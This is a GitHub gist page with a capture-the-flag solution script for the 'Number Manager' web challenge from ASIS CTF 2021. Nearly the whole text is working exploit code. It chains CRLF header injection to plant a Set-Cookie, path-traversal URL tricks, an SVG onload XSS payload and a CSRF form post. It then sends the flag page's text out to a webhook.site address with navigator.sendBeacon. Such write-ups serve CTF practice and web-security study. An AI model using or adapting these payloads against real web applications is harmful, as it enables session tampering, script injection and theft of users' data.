Skip to content

Instantly share code, notes, and snippets.

@RenwaX23
Created October 24, 2021 15:29
Show Gist options
  • Select an option

  • Save RenwaX23/d9147615e58afb50102a2fc7f76ebc2b to your computer and use it in GitHub Desktop.

Select an option

Save RenwaX23/d9147615e58afb50102a2fc7f76ebc2b to your computer and use it in GitHub Desktop.
Number Manager - ASIS CTF 2021
<body>
<script>
window.open('http://nmanager/index.html#uselessssssxss%20csrf_token=x,x%D8%B3d')
setTimeout(function(){
window.open('http://nmanager/api/..%2fapi/numdesc?csrf_token=x&n=%0a%0dSet-Cookie%3A+data%3DWyI8c3ZnPjxzdmcgb25sb2FkPWxvY2F0aW9uPW5hbWU%2BIl0%3D%3B+path%3D&c=xss');
window.open('http://nmanager/api/..%2fapi/numdesc?csrf_token=x&n=%3Csvg%3E%3Csvg+onload%3Dlocation%3Dname%3E&c=xss');
},500)
setTimeout(function(){
window.open('http://nmanager/x/..%2fdescriptions/%0a%0dSet-Cookie:+data=WyI8c3ZnPjxzdmcgb25sb2FkPWxvY2F0aW9uPW5hbWU%2bIl0=;+path=/content/..%2f')
},1000)
setTimeout(function(){
window.open('http://nmanager/index.html',`javascript:navigator.sendBeacon('https://webhook.site/***?s',opener.document.body.innerText)`)
j=document.createElement('form')
j.setAttribute('action','http://nmanager/api/flag?csrf_token=x')
j.setAttribute('method','post')
j.setAttribute('target','_self')
document.body.appendChild(j)
j.submit()
},1500)
</script>
</body>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment